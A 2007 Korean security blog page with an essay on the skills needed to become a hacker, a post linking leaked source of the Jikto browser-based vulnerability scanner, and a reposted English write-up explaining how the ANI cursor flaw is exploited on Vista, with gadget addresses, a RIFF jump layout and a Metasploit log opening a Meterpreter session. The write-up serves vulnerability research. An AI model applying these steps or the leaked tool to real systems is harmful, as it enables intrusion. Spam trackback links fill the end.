binish님의 계정에 의해서 제공되고 있네요~

# 1번
http://binish.or.kr/padocon2007/padocon2007_pics/

# 2번
http://binish.or.kr/padocon2007/padocon2007_pics2/


재가 나온 사진은 하나 밖에 없네요 ㅎㅎ

사용자 삽입 이미지

누굴까요~? ㅎㅎ
이올린에 북마크하기

Posted by Dual

2007/04/11 08:07 2007/04/11 08:07
Response
No Trackback , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/274

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/274

Leave a comment

Hacker가 됨에 있어서 필요한 능력,노력들..

  • Posted at 2007/04/08 00:22
  • Filed under 헛소리
사용자 삽입 이미지


Hacker가 되려면..?
글썌...
Hacker가 아니기 때문에 Hacker되는 방법에 대해선 직접적으로 알지는 못한다.
대략 생각하기에 필요하다고 생각하는 것들을 적어본다. (본인에게도 필요한것들)


첫째로 정말 이렇게 대답하면 싫어할 사람이 많다고 생각하지만,
진실되게 말해보면, 국어와 영어 실력이다.
기본적으로 필요한 정보를 구할 수 있어야 하고, 구한 Document(문서)를 읽을 수
있어야 한다. 정보의 가치는 상대적이라는 것은 많이들 알고 있는 점이다.
그 기준에 국어,영어 실력이 들어간다는 점을 잊어서는 안된다.



사용자 삽입 이미지


둘째로 검색능력이라 할 수 있다.
검색능력은 필요한 정보를 구하고자 할 때 없어서는 안되는 중요한 능력이다.
강력한 검색엔진인 Google을 이용한 해킹방법에 관한 책까지 나와 있지 않는가?
해커에게 있어서는 검색엔진은 기본적인 정보 검색 도구 그 이상의 의미를 가지기도 한다.

사용자 삽입 이미지


셋째로 보안 트렌드 파악 능력이라 할 수 있을 것이다.
요즘 어떤 기술이 이슈가 되고 있는가? 어떠한 새로운 기술이 나왔나?
에 대한 관심을 반드시 가지고 있어야 한다고 생각한다.
분명 새롭게 나오는 기술은 과거로 부터 존재해 오던 수 많은 업데이트를 거친
녀석 보다는 빈틈이 많을 가능성이 높다. 어떠한 새로운 기술들이 나오는지에 대해서는
메거진, 뉴스그룹이 당신에게 좋은 친구가 되어줄 것이다.

사용자 삽입 이미지


넷쨰로 운영체제(OS)에 대한 이해이다.
이 글을 읽고 있는 분은 어떠한 OS를 사용하고 게시는지 모르겠다.
본인은 Windows를 사용한다. 어떠한 OS를 사용하느냐는 그사람의 취향이다.
어떠한 OS를 사용하든 상관 없다. Windows를 사용하고 있다고 해서, Linux를 사용하고
있는 컴퓨터를 해킹할 수 없는것이 아니고, Linux를 사용하고 있다고 해서 Windows를
사용하고 있는 컴퓨터를 해킹 할 수 없는게 아니며, 이는 타 OS에도 마찬가지이다.
필요한 것은 공격대상에 대한 이해인 것이다. '적을 알고 나를 알면 백전백승' 이라고 했는데,
사실 Windows는 소스가 공개되어져 있지 않기 때문에, 보다 적을 알기가 쉽지 않다고 할 수
있다. 그러나 오히려 이런 점이 해커의 마음을 자극하는 요인이다. 적을 잘 모르면 더 공격하
고 싶어 진다. Windows를 대상으로 공격을 하고자 할때에 Symbol들과 Windows의 클론인
ReactOS는 정말 당신에게 좋은 친구가 되어줄 것이다.

어떠한 사람들은 이런 질문을 한다. '해커들은 왜 리눅스를 쓰나요?'
그 이유는 간단하다. 가장 핵심적으로 공짜이며, 오픈소스에, 변형하기가 쉬우며,
다른 친구들이 쓰지 않기 때문이다. :p (이는 자신을 유니크 하게 보여주는 역활을 할 수 있다.) 앞에 한말은 장난이라면 장난이고 진담이라면 진담이고, 실제적으로는
공격을 테스트 해보기 위해서라고 말하면 쉬울 것이다. 공격대상 OS와 같은 OS를 사용하고
있다는 것은, 즉 비슷한 환경에서 테스트 해볼 수 있다는 것은 분명 도움이 된다. 또한
perl 이라던지, python은 FSB공격이나 BOF공격을 할떄에 도움을 준다. 또한 리눅스의 함수 호출 방식(int xx를 사용하는) 은 윈도우즈에 비해 보다 테스트 해보기 쉬운 환경을 제공해주
는 요소이다. (물런 레드햇 9.0 과 페도라 코어 시리즈의 경우 윈도우즈 보다 테스트 해보기 어려운 환경이 되어 가고 있다.) 또 많은 오늘날의 해커들은 리눅스만을 사용하지 않는다.
한 컴퓨터에 모든 OS를 다 가지고 있는 경우도 있고(VMWARE 같은 Full Virtualization의
힘을 빌어) 여러대의 OS에 각각의 OS를 설치해 두고 테스트해 보는 사람들도 있다.
즉 오늘날의 host OS가 무언지는 해커가 됨에 있어서 그렇게 크게 중요한 요소는 아니라고
생각한다. (기왕이면 게임이 잘 돌아가는 Windows가 좋지 않을까? :p )
단지 당신이 해커가 됨에 있어서 필요한 것은 공격대상의 운영체제에 대한 정확한 이해라고
하고 싶다. 이런 말도 있지 않는가? '운영체제를 알면 에플리케이션이 보인다.'
무슨말인지는 알만한 분들은 다 알것이다. :)

사용자 삽입 이미지


다섯째로 프로그래밍 언어에 대한 이해이다.
프로그래밍 언어에 대한 이야기가 너무 늦게 나오는 것이 아닌가? 라고 물어 볼 수 있을것이다. 그러나 프로그래밍 언어를 몰라도 우선 해킹은 어쩌면 할 수 있다. (?) 고맙게도 오늘날
많은 프레임워크들(Metasploit같은), 자동화 공격도구들이 많이 발표되어져 있다.
당신이 프로그래밍 언어에 대해 정확히 몰라도, 그에 대한 문제점을 마우스 클릭만으로
공격가능한 시대가 온것이다! :)
그러나 당신이 단순한 공격자가 되기를 원하는게 아니라, 분석자,창조자가 되고 싶다면,
프로그래밍 언어는 반드시 당신의 좋은 친구가 되어야만 한다. (그렇게 만들어야만 한다.)
본인에게 무슨 언어를 가장 먼저 배워야 하는가? 라고 물어본다면 당연히 Assembley라고
답변해 줄 것이다. 대부분의 과정에서 C언어를 가장 먼저 알려주는데, 이는 잘못된 것이라
생각한다. (주관적인 의견) 기계어와 Assembley가 1:1 매칭된다는 말은 많이들 들어봤으
리라 생각한다. 결국 C언어로 작성된 프로그램이든, 비주얼 베이직으로 작성된 프로그램이든, 델파이로 작성된 프로그램이든, 결국 바이너리가 되고나면 기계어 일 것이고,
이는 곳, 어셈블리를 알면 볼 수 있는 상태가 된다는 것이다. 그럼으로 어셈블리를 가장
먼저 알아야 한다고 생각한다. (또 어셈블리를 가장 먼저 공부하는 것은 타언어를 공부하는데
있어서 분명 당신에게 큰 도움이 될 것이다. 다른 언어를 공부하면서도, 이 부분은 어셈블리
로는 어떻게 표현될까? 하는 생각을 하면서 코드를 보면 다른언어를 보면서도 어셈블리로
볼 수 있는 눈을 기를 수 있다.) Java나 C#같은 언어로 작성된 프로그램은 앞에서 한말에
어긋나지 않는가? 라고 반박할 수 있을 것이다. 그러나 그들은 그들 나름의 가상코드로 작성
됨으로 인해, 디컴파일러(Decompiler라고 칭하는게 정확한 표현인지는 알 수 없지만)의
작성을 용이하게 만든다. 이미 해당 언어들에 대해선 디컴파일러가 존재한다는 것을 당신도
알고 있을 것이다. :) (안그런가?) 실제적으로 앞에서 말한 언어들을 습득하는 데는,
첫번쨰로 공부하는 언어의 경우 1달, 나머지 언어의 경우는 1주일이 체 안걸린다.
그만큼 근본,작동원리를 아는 것은 큰 도움이 된다.

사용자 삽입 이미지


여섯째로 많은 wargame들을 풀어 봐야 한다는 것이다.
조금 오래되었을지 몰라도 해킹기술을 합법적으로 내 컴퓨터가 아닌 다른 컴퓨터에서
테스트 해볼 수 있는 가장 쉬운 길은 wargame이라고 할 수 있을 것이다.
wargame을 통해서 당신은 기본적인 해킹기술들을 습득할 수 있을 것이다.
또 고난이도의 wargame을 통해 고급스킬을 연마할 수도 있을것이다.
이러한 스킬들을 연마하는 것은 분명 실제적인 해킹 시도시나, 해킹대회 참가에 큰
도움이 될 수 있다. 분명 눈으로만 보던것과, 자신이 직접해보는 것은 틀린다는것을
느끼게 될 것이다. 이런 틀린점을 통해 자신을 단련시켜 나가고 훈련해 나가면서
능력을 습득한다고 볼 수 있다.

사용자 삽입 이미지


일곱째로 해킹대회를 많이 참가해 봐야 한다고 생각한다.
이건 꼭 그러해야한 하는것은 아니다. 단지 해킹대회에는 up-to-date한 점에 대한
문제들, 새로운 느낌의 문제들도 많이 나온다. 많이 해보다 보면 감각이 생기게
나름일 것이다. 해킹도 틀리지 않다고 생각한다. 합법적인 대회참가를 통해 해킹감각을
키울 수 있다면, 이 처럼 좋은일이 또 어디있을까? :p 대부분의 해킹 대회가
예선은 온라인에서 치뤄짐으로, 당신도 어렵지 않게 참가를 할 수 있다.
(대회 참가의 목적은 반드시 우승이 아니라, 직접 몸으로 느껴보는 것이다.
얼마나 다른 사람들이 빨리 문제를 solve하는지, 나의 현재 수준은 어디 까지인지,
이러한 상황에서는 어떻게 문제를 solve해야 하는지, 문제에서 말하고자 하는 것은
무엇인지등을 말이다. (중요한 걸 뺴먹었는데, 해킹대회에서 오프라인 대회에 가면
그 행사의 옷을 주는 경우도 많다. 이 옷을 얻어서 집에서 굴러 다닐때 쓰면 좋다.:p )

사용자 삽입 이미지


8번째로 태어날떄 부터의 능력을 말하고 싶다.
해당분야의 권위자인 어떤분도 태어날 떄 부터의 감각을 애기 하셨다고 하니,
감히 감각을 8번쨰에 넣어본다. 분명 해킹대회를 참가하면서 느는 감각도 있지만,
그것만으로는 설명이 되지 않는, 창조력,분석력,해결력을 가진 사람들이 있다.
당신은 태어날 때 부터 해커였는가..?

하나 빼먹은게 있다면, 도구들을 언제나 최신의 상태로 정비해두어야 한다.
기술자가 아무리 능력이 좋아도, 연장이 안 좋으면 작업은 드뎌질 수 밖에 없다.
일부 사람들이 하는 착각 중의 하나가, 진짜 해커들은 도구를 사용하지 않는다고
하는데, 이는 잘못된 생각이다. 진짜 프로일수록 도구(자동화 된)를 많이 사용한다.
이것 또한 무슨 말인지는 아는 분들은 알 것으로 생각된다. :)


지금까지 간단하게 재가 생각하는 해커가 되기 위해서 필요한 능력들, 노력들에
대해서 적어 보았습니다. 이게 정말 맞는지 아닌지를 모르겠습니다.
쓰고 있는 본인이 해커가 아니기 때문이죠. 해커가 되려면 필요한 것이 무엇인가?
를 질문 하는 분들이 종종 게셔서 적어 봤습니다. (한번에 처리를!!! :p)
이올린에 북마크하기

Posted by Dual

2007/04/08 00:22 2007/04/08 00:22
Response
No Trackback , 2 Comments
RSS :
http://dual5651.hacktizen.com/tc/rss/response/273

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/273

Comments List

  1. .. 2009/05/10 12:53 # M/D Reply Permalink

    잘읽고갑니다

  2. sh4rk 2011/03/20 18:55 # M/D Reply Permalink

    Good!

Leave a comment

자바스크립트 기반 웹 취약점 스캐너 Jikto 소스 코드 유출

  • Posted at 2007/04/06 14:33
  • Filed under 헛소리

제작자는 소스를 공개하지 않겠다고 결정했다는데,
결국 유출되어 버렸네요 ^0^;;

jicto에 대한 정보 :

한 보안 연구가가 웹 서퍼들의 PC에 영향을 미치지 않고 유저들이 인식하지도 못하는 사이에 PC를 웹 해킹에 이용할 수 있는 방법을 알아냈다.

이것을 가능하게 한 것은 「직토(Jikto)」라는 이름의 툴 덕분이다. 직토의 제작자인 웹 보안
연구 기업 SPI 다이내믹(SPI Dynamic)의 빌리 호프만(Billy Hoffman)에 의하면, 자바스크립
트로 작성된 이 툴은 인터넷 이용자들이 인식하지 못하는 사이에 그들의 PC를 이용해 웹사
이트의 허점을 찾아낼 수 있다고 한다.

웹 보안의 개선을 위해 이 툴을 개발한 호프만은 주말에 워싱턴 DC에서 열리는 해커 이벤트
인 「ShmooCon」에서 직토를 정식으로 공개할 예정이다.

-> 실제로는 공개되지 않았죠.

호프만은, "직토는 자바스크립트를 이용하여 저지를 수 있는 해킹의 범위를 획기적으로 변화
시켜 줄 것이다. 직토를 이용하면 어느 누구의 PC라도 말 그대로 내 작은 일꾼으로 만들어 내
대신 웹사이트를 공격하고 그 결과를 내게 보고하게 만들 수 있다."라고 밝혔다.

온라인 응용 프로그램의 도래 이후 해커들은 웹 보안의 무력화에 지대한 관심을 보여 왔다.
크로스사이트 스크립팅 버그나 SQL 삽입 허용 등의 취약성들이 이미 수 년 전부터 알려졌음
에도 불구하고 웹 보안의 문제는 점점 증가하고 있으며, 이를 악용한 사례도 늘고 있다.

호프만에 따르면, 직토는 취약한 웹 응용 프로그램을 스캔하는 프로그램이다. 공용 웹사이트에
소리 없이 침투해 보안 상태를 검열 하고 그 결과를 제 3자에 전송한다. 직토는 해커가 만들어
놓은 웹사이트에 설치될 수도 있고 크로스스크립팅 버그라고 알려진 웹 보안의 공통된 허점을
이용함으로써 다른 공신력 있는 웹사이트에 침투할 수도 있다.

취약성 탐지 기능 자체는 사실 별 새로운 게 아니다. 해커들은 종종 이러한 툴을 이용해 허점을
찾아내어 시스템으로 침투하게 만들어 왔다.

즉, 직토는 해커들 사이에 유명한 웹 응용 프로그램 버그 스캐닝 툴인 「닉토(Nikto)」와
마찬가지라고 볼 수 있다. 차이가 있다면, 닉토는 고전적인 PC 응용 프로그램인 반면,
직토는 웹 브라우저상에서 실행하고 복수의 PC에 버그 탐지 작업을 배포, 실행할 수
있다는 점이다.

호프만은 직토가 웹상에 공통된 여러 보안상의 허점들을 찾아내고 이를 공격자에게 보고하여
어떤 사이트를 공격하고 어떤 취약점들을 찾아내야 할지에 대한 지령을 받을 수 있다.

예를 들면 유수의 은행들이 운영하는 인터넷 뱅킹 웹 사이트들이 SQL 삽입과 관련하여
어떤 취약성을 가지고 있는지 찾아내도록 프로그래밍 할 수도 있는 것이다.
이러한 취약성들은 심각한 위험에 노출될 수 있으며, 데이터베이스를 해커들의 공격으로부터
무방비상태로 만들 수 있다.


이 툴은 자바스크립트를 이용한 해킹의 범위를 획기적으로 변화시켜준다.
-  직토 제작자 빌리 호프만
호프만은 "해킹하는 데 드는 시간의 절반은 사실 정보의
수집 및 분류에 소요된다. 해커들은 이제 이 작업을 다른
여러 사람들에게 대신 시킬 수 있는 것이다."라고 설명했다.
덧붙여 호프만은 직토가 침투해있는 웹사이트에 우연히 들른
웹 서퍼들을 이용해 사이트를 스캔하기 때문에 타깃이 된
웹사이트에서는 해커의 신원을 알아낼 수가 없게 된다고 말했다.

한편, 보안 업계에서 취약성 탐지에 널리 이용하는
「Nmap 시큐리티 스캐너(Nmap Security Scanner)」 의
제작자 표도르 바스코비치(Fyodor Vaskovich)는 직토는 어떻게 자바 스크립트가 악용될 수
있는지를 보여주는 흥미로운 예라고 할 수 있지만, 기존의 취약성 스캐닝 툴들은 훨씬 더
효율적이라고 말한다.

바스코비치는 "이미 손상된 PC를 스캔하는 해킹 프로그램에 비해 보통 자바스크립트 공격은
매우 속도가 느리다. 공격자를 감추고 스캐닝 작업을 제3자에게 배분한다는 것은 유용할 수도
있지만, 일반적으로 해커들은 법이 허용하는 한도 내에서 꽤 폭넓은 범위까지 취약성 스캔이
가능할 뿐 아니라 프록시 체인을 이용해 쉽게 이를 수행할 수 있다." 고 주장한다.

웹상에 널리 이용되는 스크립팅 언어인 자바스크립트로 제작되었기 때문에 직토는 대부분의
웹 브라우저에서 경고 없이 실행이 가능하다.

직토가 깔린 웹사이트를 방문하는 인터넷 유저들은 이를 전혀 알아챌 수 없을 것이다.
이 툴은 브라우저가 닫힐 때까지 실행되며, 브라우저가 닫히면 어떠한 흔적이나 피해를 남기지
않고 사라져버린다.

직토는 흔한 악성 도구인 봇이 타인의 PC를 조종하는 것과는 방식이 다르다.
보통 봇은 트로이 목마가 침투한 웹 브라우저나 이메일 메시지의 취약성을 이용해 PC를
손상시킨다. 패치가 깔린 브라우저를 사용하거나 이메일 관리를 똑똑하게 하고,
업데이트된 보안 소프트웨어를 사용하는 유저들은 봇 소프트웨어의 피해로부터 안전할 수 있다.

호프만은, "하지만, 직토나 다른 자바스크립트 기반의 해킹 프로그램의 경우, 이용자는 예방을
위해 별로 할 수 있는 게 없다. 트로이 목마 등을 몰래 침투시키지도 않고, 이용자의 컴퓨터
자체에는 어떠한 손상도 입히지 않는다. 그게 정말 무서운 것이다.
안티바이러스 프로그램도 별 도움이 안 된다." 라고 말했다.

웹 보안 전문가들은, 자바스크립트는 웹사이트가 수행할 수 있는 작업의 범위를 확대함
으로써 문제를 야기하고 있는 「웹 2.0(Web 2.0)」의 붐의 일등공신이라고 할 수 있는데,
악성 자바스크립트, 특히 공용 웹사이트의 허점과 결합된 자바 스크립트는 잠복성 웹 해킹을
가능케 할 수 있다고 경고한다.

독자들이 이 글을 읽고 있는 바로 지금도 직토가 슬그머니 기어들어와 허점을 찾고 있을지도
모른다. 호프만은 취약점을 찾아 데이터를 빼돌릴 수 있는 직토의 다음 버전을 연구 중이다.
호프만에 따르면 아마도 올 여름 라스베거스에서 있을 블랙 햇(Black Hat) 보안 컨퍼런스에서
이 차기 버전이 선보이게 될 것이라고 한다. @


제작 업체에서 작성한 pdf파일 :

Javascript_malware.pdf

본인이 번역해 만들고 있는 pdf파일(한 절반정도 작성했습니다.) :
test.pdf


이제는 구글링을 통해 어렵지 않게 구할 수 있게 되었습니다.

jikto.txt


이올린에 북마크하기

Posted by Dual

2007/04/06 14:33 2007/04/06 14:33
Response
No Trackback , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/272

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/272

Leave a comment

Exploiting the ANI vulnerability on Vista

Exploiting the ANI vulnerability on Vista

There's been some discussion going around about whether or not it's really possible to use the ANI vulnerability to execute arbitrary code on Vista. If you aren't familiar with the ANI vulnerability, go check out another great bit of work from Determina's Alexander Sotirov. HD Moore wrote the first Metasploit module for this on Friday night and we continued to improve the exploit (and add a second SMTP module) over the weekend. These modules include a default target that is able to hit both XP and Vista. Due to the nature of the vulnerability, it's possible to try multiple targets, even if they lead to a crash.

I won't go into the details of the vulnerability. You can read Alex's excellent description of the issue. Instead, this post will focus on illustrating that code execution on Vista is most definitely possible. Many would assume that this vulnerability would be stopped by one or more of GS, DEP, ASLR, and Protected Mode IE7 on Vista. That's not the case, though.

As Alex points out, the vulnerable function does not properly make use of GS. This makes it possible to trigger a traditional stack-based buffer overflow on all affected versions of Windows. In addition to GS not being present, DEP is disabled by default for Internet Explorer and Windows Explorer on 32-bit Windows Vista. This means that non-executable pages will not be enforced. And that brings us to ASLR.

On the surface, it would seem as though ASLR would be sufficient to prevent this attack from working reliably. However, due to the nature of this vulnerability, it's possible to trigger a partial overwrite of the return address on the stack. In Vista, and indeed other versions of Windows, the two low order bytes of any address in an image file mapping will not be affected by ASLR. This is due to the minimum allocation granularity in Windows. Even though partial overwrites of the return address are possible, an attacker must be able to find a useful instruction on the same 16 page block as the return address being partially overwritten. For example, if the original return address was 0x74310368, a useful instruction must be found within 0x7431XXXX. An alternative to using a partial address overwrite would be to simply brute force around 256 combinations of absolute addresses, since it's possible to trigger this issue multiple times without crashing the IE process.

One last thing that's worth mentioning. It has been proposed that low rights (protected mode) in IE7 on Vista may prevent the exploitation of this issue. First and foremost, this is not true. While it may prevent the explicit execution and interaction with certain system resources, it does not prevent arbitrary code execution. For example, the Meterpreter payload included in Metasploit is able to execute reliably, even in protected mode IE7. This is because Meterpreter does not spawn any external processes on its own. Of course, if you attempt to execute something from within Meterpreter, it will fail as a result of protected mode IE7. Even though this is the case, I think that further research may provide insight into ways of breaking out of protected mode.

So, given these facts about GS, DEP, ASLR, and protected mode IE7, it's possible to go ahead and write a functional proof of concept that will work on Vista. When triggering the vulnerability on Vista with a complete overwrite of the return address, the register state looks something like this:

eax=5f36476f ebx=0329f278 ecx=00000000 edx=00000000 esi=0329f1f0 edi=0329f1bc
eip=41414141 esp=0329f1bc ebp=66ae6c41 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
41414141 ??              ???

For XP targets, the Metasploit exploit attempts to call through [ebx+4]. The ebx register on Vista has a similar structure, where [ebx] and [ebx+4] point into the RIFF image:

0:006> db poi(ebx) L20
027d0000  52 49 46 46 eb 0e 02 00-41 43 4f 4e 4d 53 55 58  RIFF....ACONMSUX
027d0010  6e 00 00 00 e9 db 0e 02-00 64 18 d0 ae 1d b1 c9  n........d......
0:006> db poi(ebx+4) L20
027e0fb4  53 51 66 63 37 ff 00 00-ba 7b 6d 5f 20 37 54 9b  SQfc7....{m_ 7T.
027e0fc4  d0 76 1a 0c aa 25 6c 46-ae 06 ee 7f 11 22 67 5b  .v...%lF....."g[

There are also other contextual references that contain parts of, or point into, the RIFF image. The esp and edi registers contain the first ANI header found in the file. The esi register points to an ANIH chunk. For the purpose of this post, only the references found through the ebx register will be considered, though I did investigate these additional avenues to some degree. In Metasploit's existing ANI exploit, you'll see that HD has provided a target for Windows XP that uses a partial overwrite to point the return address at a location that contains a call [ebx+4] instruction. However, there are no immediately equivalent call [ebx+4] instructions within the required 16 page block on Vista:

0:006> s 775b154c L?ef00 ff 53 04
0:006> s 775b154c L?ef00 ff 63 04

Even though there are no call [ebx+4] instructions, there are a few jmp [ebx] instructions:

0:006> s 775b154c L?ef00 ff 13
0:006> s 775b154c L?ef00 ff 23
775b700b  ff 23 c3 5f 77 2c c3 5f-77 81 e3 ff 7f ff ff e9  .#._w,._w.......
775b7bab  ff 23 d2 5f 77 2c d2 5f-77 90 90 90 90 90 6a 0c  .#._w,._w.....j.
775b90c6  ff 23 c1 50 56 e8 15 00-00 00 8b 4d fc 5f 33 cd  .#.PV......M._3.
775c008b  ff 23 ce ba 9d 02 00 00-3b ca 0f 84 7a d0 ff ff  .#......;...z...
0:006> u 775b700b L1
USER32!WinStationSendMessageW+0x5c7:
775b700b ff23            jmp     dword ptr [ebx]

This means that if the two low order bytes of the return address are overwritten with 0x700b, the vulnerable function will transfer control into a jmp [ebx] upon return. The jmp [ebx] will start executing code starting with the beginning of the RIFF image itself. The first four bytes of the image is the RIFF chunk tag ("RIFF"). This disassembles to four nop-equivalent instructions shown below:

0:006> u poi(ebx) L4
03040000 52              push    edx
03040001 49              dec     ecx
03040002 46              inc     esi
03040003 46              inc     esi

While these four initial bytes won't cause problems, the four bytes that follow them might. The field that follows the four byte tag is a four byte size which represents the size of the chunk, excluding the header fields. This really isn't much of a problem, though. Since we control the RIFF image that is being generated, we inherently control its size. While we can't reasonbly use all four bytes (since this would require a large RIFF), we can definitely make use of at least the two low order bytes. Padding out the RIFF chunk makes it possible to explicitly control the low order bytes.

With this in mind, the next step is to figure out exactly which instruction the low order bytes of the size field should be set to. We're fairly limited here, but a two byte short jump seems like a good option. Due to the way that the RIFF chunk is set up, its contents will look something like this in memory:

0:006> dd /c 1 poi(ebx)
03040000  46464952  RIFF tag: "RIFF"
03040004  00010eeb  RIFF length
03040008  4e4f4341  ACON chunk tag: "ACON"
0304000c  4372726b  Embedded chunk tag: random
03040010  0000015e  Embedded chunk length: random
03040014  010edbe9  Embedded chunk data: arbitrary
03040018  e8111500  ...

Using this basic layout, we can insert a special embedded chunk as the first entry after the ACON tag. The purpose of this embedded chunk will be to act as a target for the short jump used in the RIFF length field. As such, the embedded chunk should contain additional code to execute. While it's entirely possible to have the embedded chunk contain a payload itself, the Metasploit exploit instead places a long jump that transfers control to the first byte after the end of the RIFF chunk itself. This makes the exploit uniform with XP in terms of how it executes the payload.

I know I left out a lot of details, but let's put the whole thing together. First, you can perform a partial overwrite of the return address using 0x700b. When the vulnerable function returns, it will return into a jmp [ebx] instruction. This will transfer control into the start of the RIFF image, starting with the RIFF tag. The two low order bytes of the RIFF chunk size field can be set to 0x0eeb which is a short jump +16. This short jump transfers control into the data portion of an embedded chunk. The data portion of this embedded chunk contains a relative jump to the payload that has been appended after the containing RIFF chunk. 

msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Using URL: http://10.4.4.1:8080/foo
[*] Server started.
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) > 
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.4.4.1:4444 -> 10.4.4.2:49310)

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: VMVX86
OS      : Windows Vista (Build 6000, ).
meterpreter > execute -f cmd
[-] stdapi_sys_process_execute: Operation failed: 5
meterpreter >

It's definitely possible (and likely) that there are cleaner ways to go about this, but this at least illustrates one way of going about it. It's clear that a partial overwrite of the return address is one of the best solutions in this case. The only major point of contention in this approach centers around what to overwrite the low order two bytes with.

* 오늘 MS의 공식 보안패치가 나왔습니다.
이올린에 북마크하기

Posted by Dual

2007/04/04 22:34 2007/04/04 22:34
Response
46 Trackbacks , No Comment
RSS :
http://dual5651.hacktizen.com/tc/rss/response/271

Trackback URL : http://dual5651.hacktizen.com/tc/trackback/271

Trackbacks List

  1. chemistry

    Tracked from chemistry 2011/06/07 03:39 Delete

    the real l word <a href="http://serenitypetservices.com/txthe-real-l-word/">the real l word</a> ios 5 <a href="http://storytobetold.com/bcios-5/">ios 5</a>

  2. bobby fischer

    Tracked from bobby fischer 2011/06/07 18:26 Delete

    katie couric <a href="http://brog.btox.net/pjkatie-couric">katie couric</a> nintendo 3ds <a href="http://www.heyvan.com/GregsBroadcast/wpau-backup/page.php?k=nintendo-3ds">nintendo 3ds</a>

  3. paul revere

    Tracked from paul revere 2011/06/07 18:38 Delete

    steve jobs health <a href="http://www.johannzarco.com/nlsteve-jobs-health.html">steve jobs health</a> icloud <a href="http://quotesproverbs.com/gbicloud">icloud</a>

  4. bioshock infinite

    Tracked from bioshock infinite 2011/06/07 18:51 Delete

    ernest hemingway <a href="http://organicmarketpages.com/jfernest-hemingway.html">ernest hemingway</a> nintendo 3ds <a href="http://creativno.net/svnintendo-3ds/">nintendo 3ds</a>

  5. bioshock infinite

    Tracked from bioshock infinite 2011/06/07 19:02 Delete

    icloud <a href="http://www.extendpicasa.org/scicloud">icloud</a> bubba starling <a href="http://keithkirchner.com/retsimages/page.php?k=bubba-starling">bubba starling</a>

  6. george stephanopoulos

    Tracked from george stephanopoulos 2011/06/07 19:17 Delete

    ernest hemingway <a href="http://manosmriti.net/qcernest-hemingway">ernest hemingway</a> bobby fischer <a href="http://mov.eecssh.com/rxbobby-fischer.html">bobby fischer</a>

  7. emily maynard

    Tracked from emily maynard 2011/06/07 19:31 Delete

    ernest hemingway <a href="http://lolcartoons.com/vgernest-hemingway">ernest hemingway</a> bioshock infinite <a href="http://kokweiliang.com/mwbioshock-infinite">bioshock infinite</a>

  8. rep weiner

    Tracked from rep weiner 2011/06/07 19:44 Delete

    katie couric <a href="http://neibeautycare.net/mskatie-couric/">katie couric</a> bioshock infinite <a href="http://hunkythumbs.com/thumbs/page.php?k=bioshock-infinite">bioshock infinite</a>

  9. sign language

    Tracked from sign language 2011/06/07 19:57 Delete

    icloud <a href="http://jjpromoproductsblog.com/llicloud/">icloud</a> george stephanopoulos <a href="http://model.eroticvoyager.com/jfgeorge-stephanopoulos">george stephanopoulos</a>

  10. sign language

    Tracked from sign language 2011/06/07 20:10 Delete

    george stephanopoulos <a href="http://pixieplasma.com/qxgeorge-stephanopoulos.html">george stephanopoulos</a> steve jobs health <a href="http://qixuan.kelvinkau.com/ljsteve-jobs-health">steve jobs health</a>

  11. congressman weiner

    Tracked from congressman weiner 2011/06/07 20:22 Delete

    horton <a href="http://www.managersdaily.com/jthorton/">horton</a> andrew breitbart <a href="http://battleridgenorthchastain.com/pcandrew-breitbart/">andrew breitbart</a> lenny dykstra <a href="http://mdshortsalerealestate.com/pplenny-dykstra/">lenny d...

  12. discovery channel

    Tracked from discovery channel 2011/06/07 20:41 Delete

    emily maynard <a href="http://edgewebproducts.com/vjemily-maynard/">emily maynard</a> steve jobs health <a href="http://www.elizenijenhuis.com/dbsteve-jobs-health/">steve jobs health</a> sign language <a href="http://www.pdsestu.org/vqsign-language/">s...

  13. andrew breitbart

    Tracked from andrew breitbart 2011/06/07 20:54 Delete

    lenny dykstra <a href="http://www.liamandnish.co.uk/mblenny-dykstra/">lenny dykstra</a> sign language <a href="http://mobilepaintdentrepair.com/prsign-language/">sign language</a> katie couric <a href="http://www.findingmacedonia.com/ndkatie-couric/">k...

  14. lenny dykstra

    Tracked from lenny dykstra 2011/06/07 21:07 Delete

    katie couric <a href="http://www.notgettingpregnant.com/rmkatie-couric/">katie couric</a> icloud <a href="http://mikeofthethomas.com/tbicloud/">icloud</a> discovery channel <a href="http://mtlg.co.uk/phdiscovery-channel/">discovery channel</a>

  15. icloud

    Tracked from icloud 2011/06/07 21:21 Delete

    bubba starling <a href="http://www.elizenijenhuis.com/dbbubba-starling/">bubba starling</a> katie couric <a href="http://blog.techgurus.com/gmkatie-couric/">katie couric</a> steve jobs health <a href="http://www.dikkebueno.com/rrsteve-jobs-health/">ste...

  16. mark jackson

    Tracked from mark jackson 2011/06/07 23:53 Delete

    justin timberlake and mila kunis <a href="http://blogs.articlesforknowledgesharing.com/cqjustin-timberlake-and-mila-kunis">justin timberlake and mila kunis</a> health <a href="http://peaceplanetproject.com/krhealth/">health</a>

  17. lauryn hill

    Tracked from lauryn hill 2011/06/07 23:58 Delete

    circulatory system <a href="http://startubuntu.com/dqcirculatory-system">circulatory system</a> health <a href="http://blogs.articlesforknowledgesharing.com/cqhealth">health</a>

  18. justin timberlake and mila kunis

    Tracked from justin timberlake and mila kunis 2011/06/08 00:40 Delete

    health <a href="http://www.johannzarco.com/nlhealth.html">health</a> skeletal system <a href="http://metaphysicalbeliefs.org/cqskeletal-system.html">skeletal system</a>

  19. technology

    Tracked from technology 2011/06/08 01:46 Delete

    justin timberlake and mila kunis <a href="http://isthisrumortrue.com/trjustin-timberlake-and-mila-kunis">justin timberlake and mila kunis</a> literature <a href="http://natural-remedy.askruss.net/rtliterature/">literature</a>

  20. history

    Tracked from history 2011/06/08 02:24 Delete

